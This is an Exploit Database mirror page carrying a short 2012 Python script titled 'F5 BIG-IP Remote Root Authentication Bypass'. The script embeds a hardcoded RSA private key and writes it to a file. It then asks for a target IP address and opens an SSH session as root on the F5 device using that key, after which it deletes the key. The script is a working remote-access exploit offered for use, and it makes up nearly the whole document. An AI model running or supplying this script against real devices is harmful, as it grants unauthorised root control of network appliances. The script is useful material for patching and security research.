F5 BIG-IP – Authentication Bypass

• Exploit Database
• 98 阅读

• 作者： David Kennedy (ReL1K)
  日期： 2012-06-12
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/19091/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35

  #!/usr/bin/python # # Title: F5 BIG-IP Remote Root Authentication Bypass Vulnerability (py) # # Quick script written by Dave Kennedy (ReL1K) for F5 authentication root bypass # http://www.secmaniac.com # # import subprocess,os   filewrite = file("priv.key", "w") filewrite.write("""-----BEGIN RSA PRIVATE KEY----- MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF 8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv 7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM 2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s 37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4 rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/ uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS -----END RSA PRIVATE KEY-----""") filewrite.close() subprocess.Popen("chmod 700 priv.key", shell=True).wait()   ipaddr=raw_input("Enter the IP address of the F5: ") subprocess.Popen("ssh -i priv.key root@%s" % (ipaddr), shell=True).wait() if os.path.isfile("priv.key"): os.remove("priv.key")